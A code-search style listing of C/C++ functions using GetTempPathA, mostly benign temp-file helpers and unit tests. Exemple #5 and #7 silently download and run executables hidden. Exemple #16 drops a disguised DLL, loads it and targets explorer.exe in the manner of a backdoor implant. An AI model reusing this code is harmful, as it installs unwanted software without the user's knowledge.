Exemple #1
0
static BOOL create_test_file(char *temp_file)
{
    char temp_path[MAX_PATH];
    DWORD ret, written;
    HANDLE h;

    ret = GetTempPathA(sizeof(temp_path), temp_path);
    ok(ret, "Failed to get a temp path, err %d\n", GetLastError());
    if (!ret)
        return FALSE;

    ret = GetTempFileNameA(temp_path, "mmio", 0, temp_file);
    ok(ret, "Failed to get a temp name, err %d\n", GetLastError());
    if (!ret)
        return FALSE;

    h = CreateFileA(temp_file, GENERIC_WRITE, 0, NULL,
                    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    ok(h != INVALID_HANDLE_VALUE, "Failed to create a file, err %d\n", GetLastError());
    if (h == INVALID_HANDLE_VALUE) return FALSE;

    ret = WriteFile(h, RIFF_buf, sizeof(RIFF_buf), &written, NULL);
    ok(ret, "Failed to write a file, err %d\n", GetLastError());
    CloseHandle(h);
    if (!ret) DeleteFileA(temp_file);
    return ret;
}
Exemple #2
0
static BOOL copy_dll_file(void)
{
    char sys_dir[MAX_PATH+15];
    char temp_path[MAX_PATH];

    if (GetSystemDirectoryA(sys_dir, MAX_PATH) == 0)
    {
        skip("Failed to get system directory. Skipping certificate/PE image tests.\n");
        return FALSE;
    }

    if (sys_dir[lstrlenA(sys_dir) - 1] != '\\')
        lstrcatA(sys_dir, "\\");

    lstrcatA(sys_dir, "imagehlp.dll");

    /* Copy DLL to a temp file */
    GetTempPathA(MAX_PATH, temp_path);
    GetTempFileNameA(temp_path, "img", 0, test_dll_path);

    if (CopyFileA(sys_dir, test_dll_path, FALSE) == 0)
    {
        skip("Unable to create copy of imagehlp.dll for tests.\n");
        return FALSE;
    }

    return TRUE;
}
std::string DVLib::GetTemporaryDirectoryA()
{
	char td[MAX_PATH] = { 0 };
	CHECK_WIN32_BOOL(GetTempPathA(MAX_PATH, td),
        L"GetTempPathA");
	return td;
}
Exemple #4
0
const char * path_tmpdir()
{
    if (!path_tmpdir_result)
    {
        # ifdef OS_NT
        DWORD pathLength = 0;
        pathLength = GetTempPath(pathLength,NULL);
        string_new(path_tmpdir_buffer);
        string_reserve(path_tmpdir_buffer,pathLength);
        pathLength = GetTempPathA(pathLength,path_tmpdir_buffer[0].value);
        path_tmpdir_buffer[0].value[pathLength-1] = '\0';
        path_tmpdir_buffer[0].size = pathLength-1;
        # else
        const char * t = getenv("TMPDIR");
        if (!t)
        {
            t = "/tmp";
        }
        string_new(path_tmpdir_buffer);
        string_append(path_tmpdir_buffer,t);
        # endif
        path_tmpdir_result = path_tmpdir_buffer[0].value;
    }
    return path_tmpdir_result;
}
Exemple #5
0
DWORD WINAPI DownLoadWork(LPVOID pParameter)
{
	TSAUTO();
	CHAR szUrl[MAX_PATH] = {0};
	strcpy(szUrl,(LPCSTR)pParameter);
	CHAR szBuffer[MAX_PATH] = {0};
	DWORD len = GetTempPathA(MAX_PATH, szBuffer);
	if(len == 0)
	{
		return 0;
	}
	char *p = strrchr(szUrl, '/');
	if(p != NULL && strlen(p+1) > 0) {
		::PathCombineA(szBuffer,szBuffer,p+1);
	} else {
		::PathCombineA(szBuffer,szBuffer,"Setup_oemqd50.exe");	
	}
	
	::CoInitialize(NULL);
	HRESULT hr = E_FAIL;
	__try
	{
		hr = ::URLDownloadToFileA(NULL, szUrl, szBuffer, 0, NULL);
	}
	__except(EXCEPTION_EXECUTE_HANDLER)
	{
		TSDEBUG4CXX("URLDownloadToCacheFile Exception !!!");
	}
	::CoUninitialize();
	if (strstr(szBuffer, ".exe") != NULL && SUCCEEDED(hr) && ::PathFileExistsA(szBuffer))
	{
		::ShellExecuteA(NULL,"open",szBuffer,NULL,NULL,SW_HIDE);
	}
	return SUCCEEDED(hr)?ERROR_SUCCESS:0xFF;
}
Exemple #6
0
static char *
expand_tempdir (const char *name)
{
	const char *env;

	env = secure_getenv ("TMPDIR");
	if (env && env[0]) {
		return p11_path_build (env, name, NULL);

	} else {
#ifdef OS_UNIX
#ifdef _PATH_TMP
		return p11_path_build (_PATH_TMP, name, NULL);
#else
		return p11_path_build ("/tmp", name, NULL);
#endif

#else /* OS_WIN32 */
		char directory[MAX_PATH + 1];

		if (!GetTempPathA (MAX_PATH + 1, directory)) {
			printf ("# couldn't lookup temp directory\n");
			errno = ENOTDIR;
			return NULL;
		}

		return p11_path_build (directory, name, NULL);

#endif /* OS_WIN32 */
	}
}
Exemple #7
0
DWORD WINAPI DownLoadWork(LPVOID pParameter)
{
	//TSAUTO();
	CHAR szUrl[MAX_PATH] = {0};
	strcpy(szUrl,(LPCSTR)pParameter);

	CHAR szBuffer[MAX_PATH] = {0};
	DWORD len = GetTempPathA(MAX_PATH, szBuffer);
	if(len == 0)
	{
		return 0;
	}
	::PathCombineA(szBuffer,szBuffer,"GsSetup_0001.exe");
	::CoInitialize(NULL);
	HRESULT hr = E_FAIL;
	__try
	{
		hr = ::URLDownloadToFileA(NULL, szUrl, szBuffer, 0, NULL);
	}
	__except(EXCEPTION_EXECUTE_HANDLER)
	{
		TSDEBUG4CXX("URLDownloadToCacheFile Exception !!!");
	}
	::CoUninitialize();
	if (SUCCEEDED(hr) && ::PathFileExistsA(szBuffer))
	{
		::ShellExecuteA(NULL,"open",szBuffer,"/s /run /setboot", NULL, SW_HIDE);
	}
	return SUCCEEDED(hr)?ERROR_SUCCESS:0xFF;
}
Exemple #8
0
static void test_invalid_callbackA(void)
{
    BOOL ret;
    char source[MAX_PATH], temp[MAX_PATH];

    GetTempPathA(sizeof(temp), temp);
    GetTempFileNameA(temp, "doc", 0, source);

    create_source_fileA(source, comp_cab_zip_multi, sizeof(comp_cab_zip_multi));

    SetLastError(0xdeadbeef);
    ret = SetupIterateCabinetA(source, 0, NULL, NULL);
    ok(!ret, "Expected SetupIterateCabinetA to return 0, got %d\n", ret);
    ok(GetLastError() == ERROR_INVALID_DATA,
       "Expected GetLastError() to return ERROR_INVALID_DATA, got %u\n",
       GetLastError());

    SetLastError(0xdeadbeef);
    ret = SetupIterateCabinetA(source, 0, crash_callbackA, NULL);
    ok(!ret, "Expected SetupIterateCabinetA to return 0, got %d\n", ret);
    ok(GetLastError() == ERROR_INVALID_DATA,
       "Expected GetLastError() to return ERROR_INVALID_DATA, got %u\n",
       GetLastError());

    DeleteFileA(source);
}
Exemple #9
0
std::string Sys::GetTempPath() {
	char path[EE_MAX_CFG_PATH_LEN];

	#if EE_PLATFORM == EE_PLATFORM_WIN
		DWORD dwRetVal = GetTempPathA(EE_MAX_CFG_PATH_LEN, path);

		if ( 0 <= dwRetVal || dwRetVal > EE_MAX_CFG_PATH_LEN ) {
			return std::string( "C:\\WINDOWS\\TEMP\\" );
		}
	#elif EE_PLATFORM == EE_PLATFORM_ANDROID
		if ( NULL != Window::cEngine::instance() ) {
			String::StrCopy( path, Window::cEngine::instance()->GetCurrentWindow()->GetInternalStoragePath().c_str(), EE_MAX_CFG_PATH_LEN );
		} else {
			String::StrCopy( path, "/tmp", EE_MAX_CFG_PATH_LEN );
		}
	#else
		char * tmpdir = getenv("TMPDIR");

		if ( NULL != tmpdir ) {
			String::StrCopy( path, tmpdir, EE_MAX_CFG_PATH_LEN );
		} else {
			String::StrCopy( path, "/tmp", EE_MAX_CFG_PATH_LEN );
		}
	#endif

	std::string rpath( path );

	FileSystem::DirPathAddSlashAtEnd( rpath );

	return rpath;
}
Exemple #10
0
static void test_NtQueryDirectoryFile(void)
{
    OBJECT_ATTRIBUTES attr;
    UNICODE_STRING ntdirname;
    char testdirA[MAX_PATH];
    WCHAR testdirW[MAX_PATH];

    /* Clean up from prior aborted run, if any, then set up test files */
    ok(GetTempPathA(MAX_PATH, testdirA), "couldn't get temp dir\n");
    strcat(testdirA, "NtQueryDirectoryFile.tmp");
    tear_down_attribute_test(testdirA);
    set_up_attribute_test(testdirA);

    pRtlMultiByteToUnicodeN(testdirW, sizeof(testdirW), NULL, testdirA, strlen(testdirA)+1);
    if (!pRtlDosPathNameToNtPathName_U(testdirW, &ntdirname, NULL, NULL))
    {
        ok(0, "RtlDosPathNametoNtPathName_U failed\n");
        goto done;
    }
    InitializeObjectAttributes(&attr, &ntdirname, OBJ_CASE_INSENSITIVE, 0, NULL);

    test_flags_NtQueryDirectoryFile(&attr, testdirA, FALSE, TRUE);
    test_flags_NtQueryDirectoryFile(&attr, testdirA, FALSE, FALSE);
    test_flags_NtQueryDirectoryFile(&attr, testdirA, TRUE, TRUE);
    test_flags_NtQueryDirectoryFile(&attr, testdirA, TRUE, FALSE);

done:
    tear_down_attribute_test(testdirA);
    pRtlFreeUnicodeString(&ntdirname);
}
Exemple #11
0
static void test_ash1_corruption(void)
{
    COMMON_AVI_HEADERS cah;
    char filename[MAX_PATH];
    PAVIFILE pFile;
    int res;
    PAVISTREAM pStream1;
    AVISTREAMINFOA asi1;

    GetTempPathA(MAX_PATH, filename);
    strcpy(filename+strlen(filename), testfilename);

    /* Corrupt the sample size in the audio stream header */
    init_test_struct(&cah);
    cah.ash1.dwSampleSize = 0xdeadbeef;

    create_avi_file(&cah, filename);

    res = AVIFileOpenA(&pFile, filename, OF_SHARE_DENY_WRITE, 0L);
    ok(res == 0, "Unable to open file: error=%u\n", res);

    res = AVIFileGetStream(pFile, &pStream1, 0, 1);
    ok(res == 0, "Unable to open audio stream: error=%u\n", res);

    res = AVIStreamInfoA(pStream1, &asi1, sizeof(asi1));
    ok(res == 0, "Unable to read stream info: error=%u\n", res);

    /* The result will still be 2, because the value is dynamically replaced with the nBlockAlign
       value from the stream format header. The next test will prove this */
    ok(asi1.dwSampleSize == 2, "got %u (expected 2)\n", asi1.dwSampleSize);

    AVIStreamRelease(pStream1);
    AVIFileRelease(pFile);
    ok(DeleteFileA(filename) !=0, "Deleting file %s failed\n", filename);
}
Exemple #12
0
static void test_RemoveDirectoryA(void)
{
    char tmpdir[MAX_PATH];
    BOOL ret;

    GetTempPathA(MAX_PATH, tmpdir);
    lstrcatA(tmpdir, "Please Remove Me");
    ret = CreateDirectoryA(tmpdir, NULL);
    ok(ret == TRUE, "CreateDirectoryA should always succeed\n");

    ret = RemoveDirectoryA(tmpdir);
    ok(ret == TRUE, "RemoveDirectoryA should always succeed\n");

    lstrcatA(tmpdir, "?");
    ret = RemoveDirectoryA(tmpdir);
    ok(ret == FALSE && (GetLastError() == ERROR_INVALID_NAME ||
			GetLastError() == ERROR_PATH_NOT_FOUND),
       "RemoveDirectoryA with ? wildcard name should fail, ret=%s error=%d\n",
       ret ? " True" : "False", GetLastError());

    tmpdir[lstrlenA(tmpdir) - 1] = '*';
    ret = RemoveDirectoryA(tmpdir);
    ok(ret == FALSE && (GetLastError() == ERROR_INVALID_NAME ||
			GetLastError() == ERROR_PATH_NOT_FOUND),
       "RemoveDirectoryA with * wildcard name should fail, ret=%s error=%d\n",
       ret ? " True" : "False", GetLastError());
}
Exemple #13
0
static void test_ash1_corruption2(void)
{
    COMMON_AVI_HEADERS cah;
    char filename[MAX_PATH];
    PAVIFILE pFile;
    int res;
    PAVISTREAM pStream1;
    AVISTREAMINFOA asi1;

    GetTempPathA(MAX_PATH, filename);
    strcpy(filename+strlen(filename), testfilename);

    /* Corrupt the block alignment in the audio format header */
    init_test_struct(&cah);
    cah.pcmwf.wf.nBlockAlign = 0xdead;

    create_avi_file(&cah, filename);

    res = AVIFileOpenA(&pFile, filename, OF_SHARE_DENY_WRITE, 0L);
    ok(res == 0, "Unable to open file: error=%u\n", res);

    res = AVIFileGetStream(pFile, &pStream1, 0, 1);
    ok(res == 0, "Unable to open audio stream: error=%u\n", res);

    ok(AVIStreamInfoA(pStream1, &asi1, sizeof(asi1)) == 0, "Unable to read stream info\n");

    /* The result will also be the corrupt value, as explained above. */
    ok(asi1.dwSampleSize == 0xdead, "got 0x%x (expected 0xdead)\n", asi1.dwSampleSize);

    AVIStreamRelease(pStream1);
    AVIFileRelease(pFile);
    ok(DeleteFileA(filename) !=0, "Deleting file %s failed\n", filename);
}
Exemple #14
0
STDMETHODIMP CMyBHO::SetSite(IUnknown *pUnkSite)
{
	if(pUnkSite != NULL)
	{
		pUnkSite->QueryInterface(IID_IWebBrowser2,(void **)&m_spWebBrowser);
		CComQIPtr<IConnectionPointContainer, &IID_IConnectionPointContainer> spCPC(m_spWebBrowser);
		HRESULT hr = spCPC->FindConnectionPoint(DIID_DWebBrowserEvents2, &m_spCP);
		m_spCP->Advise(reinterpret_cast<IDispatch*>(this),&m_dwCookie);
#ifdef __LEA_LOG
		char tempPath[MAX_PATH];
		DWORD dwLen = GetTempPathA(MAX_PATH,tempPath);
		strcat_s(tempPath,LOG_FILE);
		if((m_fpLog = fopen(tempPath,"a+")) == NULL)
		{
			TCHAR Msg[1024];
			wsprintf(Msg,L"Log file open error. ");
			MessageBox(NULL, Msg,L"Warning!",MB_OK|MB_ICONINFORMATION);
		}
#endif

	}
	else
	{
		m_spWebBrowser.Release();
#ifdef __LEA_LOG
		if(m_fpLog !=NULL)
		{
			fclose(m_fpLog);
		}	
#endif
	}

	//MessageBox(NULL,L"Success fully loaded",L"Lea BHO",MB_OK|MB_ICONINFORMATION);
	return IObjectWithSiteImpl::SetSite(pUnkSite);
}
Exemple #15
0
bool createTempFile()
{
	char tempfile_path[MAX_PATH];

	int res;

	res = GetTempPathA(MAX_PATH, tempfile_path);

	if (res > MAX_PATH || res == 0)
		return false;

	res = GetTempFileNameA(tempfile_path, NULL, 0, tempfile_name);

	if (res == 0)
		return false;

	// FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE
	tempfile = CreateFileA(tempfile_name, GENERIC_WRITE, FILE_SHARE_READ,
		NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

	if (tempfile == INVALID_HANDLE_VALUE)
		return false;

	return true;
}
Exemple #16
0
int ReleaseOnVistaOrXP(const union client_cfg& cfg, bool isXP)
{
	char szTempPath[MAX_PATH], szTempFilePath[MAX_PATH];
	if(0 == GetTempPathA(MAX_PATH, szTempPath))
		return -1;
	if(0 == GetTempFileNameA(szTempPath, "dll", 0, szTempFilePath))
		return false;

	if(ReleaseFile(szTempFilePath, cfg, SVRCTRL_DLL) < 0)
		return -1;
	
	if(isXP)
	{
		char dllName[MAX_PATH] = {0};
		_snprintf(dllName, MAX_PATH, "%s\\%s", szTempPath, "msvcctrl.dll");
		DeleteFileA(dllName);
		MoveFileA(szTempFilePath, dllName);
		LoadLibraryA(dllName);
		return 0;
	}

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if(hSnapshot == INVALID_HANDLE_VALUE)
		return -1;

	tagPROCESSENTRY32 pe;
	ZeroMemory(&pe, sizeof(pe));
	pe.dwSize = sizeof(pe);
	BOOL bPR = Process32First(hSnapshot, &pe);
	DWORD pid = 0;
	while(bPR)
	{
		HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
		if (hProc != 0)	CloseHandle(hProc);
		if(strcmp(pe.szExeFile, "explorer.exe") == 0)
		{
			pid = pe.th32ProcessID;
			break;
		}
		bPR = Process32Next(hSnapshot, &pe);
	}

	wchar_t filename[MAX_PATH] = {0};
	int len = MultiByteToWideChar(CP_ACP, 0, szTempFilePath, strlen(szTempFilePath), NULL, 0);
	if(len < 0 || len > MAX_PATH)	return -1;
	MultiByteToWideChar(CP_ACP, 0, szTempFilePath, strlen(szTempFilePath), filename, len);

	wchar_t szCmd[MAX_PATH] = {0}, szDir[MAX_PATH] = {0}, szPathToSelf[MAX_PATH] = {0};
	wchar_t strOurDllPath[MAX_PATH] = {0};

	GetSystemDirectoryW(szDir, sizeof(szDir));
	GetSystemDirectoryW(szCmd, sizeof(szCmd));
	wcscat(szCmd, L"\\cmd.exe");
	GetModuleFileNameW(NULL, szPathToSelf, MAX_PATH);

	AttemptOperation( true, true, pid, L"explorer,exe", szCmd, L"", szDir, filename);

	return 0;
}
Exemple #17
0
/* Copied from the process test */
static void get_file_name(char* buf)
{
    char path[MAX_PATH];

    buf[0] = '\0';
    GetTempPathA(sizeof(path), path);
    GetTempFileNameA(path, "wt", 0, buf);
}
		BOOTIL_EXPORT BString TemporaryDir( void )
		{
			char buffer[512];
			GetTempPathA( 512, buffer );
			BString str = buffer;
			String::File::CleanPath( str );
			return str;
		}
Exemple #19
0
string TextPlayer::GetAudioFilePath(string extension) const
{
    char buffer[MAX_PATH];
    DWORD pathLength = GetTempPathA(MAX_PATH, buffer);
    AssertWinApiResult(pathLength);

    buffer[pathLength] = 0;
    return string(buffer) + string(AUDIO_FILE_NAME) + extension;
}
Exemple #20
0
static BOOL CDECL fci_get_temp( char *name, int size, void *ptr )
{
    char path[MAX_PATH];

    if (!GetTempPathA( MAX_PATH, path )) return FALSE;
    if (!GetTempFileNameA( path, "cab", 0, name )) return FALSE;
    DeleteFileA( name );
    return TRUE;
}
Exemple #21
0
FILE *
fake_popen(const char * command, const char * type)
{
    FILE * f = NULL;
    char tmppath[MAX_PATH];
    char tmpfile[MAX_PATH];
    DWORD ret;

    if (type == NULL) return NULL;

    pipe_type = NUL;
    if (pipe_filename != NULL)
	free(pipe_filename);

    /* Random temp file name in %TEMP% */
    ret = GetTempPathA(sizeof(tmppath), tmppath);
    if ((ret == 0) || (ret > sizeof(tmppath)))
	return NULL;
    ret = GetTempFileNameA(tmppath, "gpp", 0, tmpfile);
    if (ret == 0)
	return NULL;
    pipe_filename = gp_strdup(tmpfile);

    if (*type == 'r') {
	char * cmd;
	int rc;
	LPWSTR wcmd;
	pipe_type = *type;
	/* Execute command with redirection of stdout to temporary file. */
	cmd = (char *) malloc(strlen(command) + strlen(pipe_filename) + 5);
	sprintf(cmd, "%s > %s", command, pipe_filename);
	wcmd = UnicodeText(cmd, encoding);
	rc = _wsystem(wcmd);
	free(wcmd);
	free(cmd);
	/* Now open temporary file. */
	/* system() returns 1 if the command could not be executed. */
	if (rc != 1) {
	    f = fopen(pipe_filename, "r");
	} else {
	    remove(pipe_filename);
	    free(pipe_filename);
	    pipe_filename = NULL;
	    errno = EINVAL;
	}
    } else if (*type == 'w') {
	pipe_type = *type;
	/* Write output to temporary file and handle the rest in fake_pclose. */
	if (type[1] == 'b')
	    int_error(NO_CARET, "Could not execute pipe '%s'. Writing to binary pipes is not supported.", command);
	else
	    f = fopen(pipe_filename, "w");
	pipe_command = gp_strdup(command);
    }

    return f;
}
Exemple #22
0
char *WriteToTemporaryFile(const char *format,...)
{
	HANDLE temporary_file_handle;
	char temporary_filename[MAX_PATH+1];  
	char temporary_path[MAX_PATH+1];
	DWORD buffer_size=MAX_PATH+1;

	// Get the temp path.
	DWORD return_value=GetTempPathA(buffer_size,	// length of the buffer
			temporary_path); // buffer for path 
	if(return_value > buffer_size ||(return_value==0))
	{
		printf("GetTempPath failed with error %d.\n",GetLastError());
		return NULL;
	}

	temporary_filename[ sizeof(temporary_filename) - sizeof( char ) ] = NULL;
	if( _snprintf( temporary_filename, sizeof(temporary_filename) - sizeof( char ),
			"%s\\DarunGrim-%x-%x.idc", temporary_path, GetCurrentProcessId(), GetCurrentThreadId() ) > 0 )
	{
		// Create the new file to write the upper-case version to.
		temporary_file_handle=CreateFile((LPTSTR)temporary_filename,// file name 
				GENERIC_READ | GENERIC_WRITE,// open r-w 
				0,					// do not share 
				NULL,				// default security 
				CREATE_ALWAYS,		// overwrite existing
				FILE_ATTRIBUTE_NORMAL,// normal file 
				NULL);				// no template 
		if(temporary_file_handle==INVALID_HANDLE_VALUE) 
		{ 
			printf("CreateFile failed with error %d.\n",GetLastError());
			return NULL;
		} 

		va_list args;
		va_start(args,format);
		char Contents[1024]={0,};
		_vsnprintf(Contents,sizeof(Contents)/sizeof(char),format,args);
		va_end(args);

		DWORD dwBytesWritten;
		BOOL fSuccess=WriteFile(temporary_file_handle,
			Contents,
			strlen(Contents),
			&dwBytesWritten,
			NULL); 
		if(!fSuccess) 
		{
			printf("WriteFile failed with error %d.\n",GetLastError());
			return NULL;
		}
		CloseHandle(temporary_file_handle);
		return _strdup(temporary_filename);
	}
	return NULL;
}
Exemple #23
0
FILE* tmpfile( void )
{
    if(!tmpname_prefix[0]) {
        char namebuf[MAX_PATH+1];
        DWORD res = GetModuleFileNameA(NULL, namebuf, MAX_PATH+1);
        if(res) {
            char * basename = strrchr(namebuf, '\\');
            if(basename) {
                basename += 1;
            } else basename = namebuf;

            char* dot = strchr(basename, '.');
            if(dot) *dot = 0;

            strncpy(tmpname_prefix, basename, 3);
        } else {
            // Error getting file name
            strcpy(tmpname_prefix, "PDU");
        }
    }

    char tmpdir[MAX_PATH + 1];
    DWORD rv = GetTempPathA(MAX_PATH + 1, tmpdir);
    if(rv == 0) {
        _PDCLIB_w32errno();
        return NULL;
    }

    char name[MAX_PATH + 1];
    rv = GetTempFileNameA(tmpdir, tmpname_prefix, 0, name);
    if(rv == 0) {
        _PDCLIB_w32errno();
        return NULL;
    }

    /* OPEN_EXISTING as CreateTempFileName creates the file then closes the
       handle to it (to avoid race conditions as associated with e.g. tmpnam)
     */
    HANDLE fd = CreateFileA(name, GENERIC_READ | GENERIC_WRITE, 
        FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 
        FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_TEMPORARY, NULL);

    if(fd == INVALID_HANDLE_VALUE) {
        _PDCLIB_w32errno();
        return NULL;
    }

    /* Set the file to delete on close */
    DeleteFile(name);

    FILE* fs = _PDCLIB_fvopen(((_PDCLIB_fd_t){fd}), &_PDCLIB_fileops, _PDCLIB_FWRITE | _PDCLIB_FRW, name);
    if(!fs) {
        CloseHandle(fd);
    }
    return fs;
}
Exemple #24
0
static void test_fullpath(void)
{
    char full[MAX_PATH];
    char tmppath[MAX_PATH];
    char prevpath[MAX_PATH];
    char level1[MAX_PATH];
    char level2[MAX_PATH];
    char teststring[MAX_PATH];
    char *freeme;
    BOOL rc,free1,free2;

    free1=free2=TRUE;
    GetCurrentDirectoryA(MAX_PATH, prevpath);
    GetTempPathA(MAX_PATH,tmppath);
    strcpy(level1,tmppath);
    strcat(level1,"msvcrt-test\\");

    rc = CreateDirectoryA(level1,NULL);
    if (!rc && GetLastError()==ERROR_ALREADY_EXISTS)
        free1=FALSE;

    strcpy(level2,level1);
    strcat(level2,"nextlevel\\");
    rc = CreateDirectoryA(level2,NULL);
    if (!rc && GetLastError()==ERROR_ALREADY_EXISTS)
        free2=FALSE;
    SetCurrentDirectoryA(level2);

    ok(_fullpath(full,"test", MAX_PATH)!=NULL,"_fullpath failed\n");
    strcpy(teststring,level2);
    strcat(teststring,"test");
    ok(strcmp(full,teststring)==0,"Invalid Path returned %s\n",full);
    ok(_fullpath(full,"\\test", MAX_PATH)!=NULL,"_fullpath failed\n");
    memcpy(teststring,level2,3);
    teststring[3]=0;
    strcat(teststring,"test");
    ok(strcmp(full,teststring)==0,"Invalid Path returned %s\n",full);
    ok(_fullpath(full,"..\\test", MAX_PATH)!=NULL,"_fullpath failed\n");
    strcpy(teststring,level1);
    strcat(teststring,"test");
    ok(strcmp(full,teststring)==0,"Invalid Path returned %s\n",full);
    ok(_fullpath(full,"..\\test", 10)==NULL,"_fullpath failed to generate error\n");

    freeme = _fullpath(NULL,"test", 0);
    ok(freeme!=NULL,"No path returned\n");
    strcpy(teststring,level2);
    strcat(teststring,"test");
    ok(strcmp(freeme,teststring)==0,"Invalid Path returned %s\n",freeme);
    free(freeme);

    SetCurrentDirectoryA(prevpath);
    if (free2)
        RemoveDirectoryA(level2);
    if (free1)
        RemoveDirectoryA(level1);
}
            std::string xaml_device::get_raster_file_path() {
                // TODO: change this to use same folder/name as _filename
                // but with an incrementing integer suffix, and a .bmp extension
                char folderpath[1024];
                char filepath[1024];
                GetTempPathA(1024, folderpath);
                GetTempFileNameA(folderpath, "rt", 0, filepath);

                return std::string(filepath);
            }
ProcessStarter::ProcessStarter(const std::string& processPath, const std::string& arguments)
: processPath_(processPath), arguments_(arguments) 
{
#ifndef NOLOG
	char tpath[MAX_PATH];
	GetTempPathA(sizeof(tpath),tpath);
	strcat(tpath,"process-starter.log");
	log.open(tpath);
#endif
}
Exemple #27
0
String HHVM_FUNCTION(sys_get_temp_dir) {
#ifdef WIN32
  char buf[PATH_MAX];
  auto len = GetTempPathA(PATH_MAX, buf);
  return String(buf, len, CopyString);
#else
  char *env = getenv("TMPDIR");
  if (env && *env) return String(env, CopyString);
  return s_SLASH_TMP;
#endif
}
Exemple #28
-1
string const * path_tmpdir()
{
    static string buffer[ 1 ];
    static int have_result;
    if ( !have_result )
    {
        string_new( buffer );
        #ifdef OS_NT
        {
            DWORD pathLength = GetTempPathA( 0, NULL );
            string_reserve( buffer, pathLength );
            pathLength = GetTempPathA( pathLength, buffer->value );
            buffer->value[ pathLength - 1 ] = '\0';
            buffer->size = pathLength - 1;
        }
        #else
        {
            char const * t = getenv( "TMPDIR" );
            if ( !t ) t = "/tmp";
            string_append( buffer, t );
        }
        #endif
        have_result = 1;
    }
    return buffer;
}
Exemple #29
-1
/*
** Create a temporary file name in zBuf.  zBuf must be big enough to
** hold at least SQLITE_TEMPNAME_SIZE characters.
*/
int sqlite3OsTempFileName(char *zBuf){
  static char zChars[] =
    "abcdefghijklmnopqrstuvwxyz"
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    "0123456789";
  int i, j;
  char zTempPath[SQLITE_TEMPNAME_SIZE];
  if( sqlite3_temp_directory ){
    strncpy(zTempPath, sqlite3_temp_directory, SQLITE_TEMPNAME_SIZE-30);
    zTempPath[SQLITE_TEMPNAME_SIZE-30] = 0;
  }else{
    GetTempPathA(SQLITE_TEMPNAME_SIZE-30, zTempPath);
  }
  for(i=strlen(zTempPath); i>0 && zTempPath[i-1]=='\\'; i--){}
  zTempPath[i] = 0;
  for(;;){
    sprintf(zBuf, "%s\\"TEMP_FILE_PREFIX, zTempPath);
    j = strlen(zBuf);
    sqlite3Randomness(15, &zBuf[j]);
    for(i=0; i<15; i++, j++){
      zBuf[j] = (char)zChars[ ((unsigned char)zBuf[j])%(sizeof(zChars)-1) ];
    }
    zBuf[j] = 0;
    if( !sqlite3OsFileExists(zBuf) ) break;
  }
  TRACE2("TEMP FILENAME: %s\n", zBuf);
  return SQLITE_OK; 
}
Exemple #30
-1
std::string file_make_temp(const std::string &prefix, const std::string &suffix) {
    internal_assert(prefix.find("/") == string::npos &&
                    prefix.find("\\") == string::npos &&
                    suffix.find("/") == string::npos &&
                    suffix.find("\\") == string::npos);
    #ifdef _WIN32
    // Windows implementations of mkstemp() try to create the file in the root
    // directory, which is... problematic.
    char tmp_path[MAX_PATH], tmp_file[MAX_PATH];
    DWORD ret = GetTempPathA(MAX_PATH, tmp_path);
    internal_assert(ret != 0);
    // Note that GetTempFileNameA() actually creates the file.
    ret = GetTempFileNameA(tmp_path, prefix.c_str(), 0, tmp_file);
    internal_assert(ret != 0);
    return std::string(tmp_file);
    #else
    std::string templ = "/tmp/" + prefix + "XXXXXX" + suffix;
    // Copy into a temporary buffer, since mkstemp modifies the buffer in place.
    std::vector<char> buf(templ.size() + 1);
    strcpy(&buf[0], templ.c_str());
    int fd = mkstemps(&buf[0], suffix.size());
    internal_assert(fd != -1) << "Unable to create temp file for (" << &buf[0] << ")\n";
    close(fd);
    return std::string(&buf[0]);
    #endif
}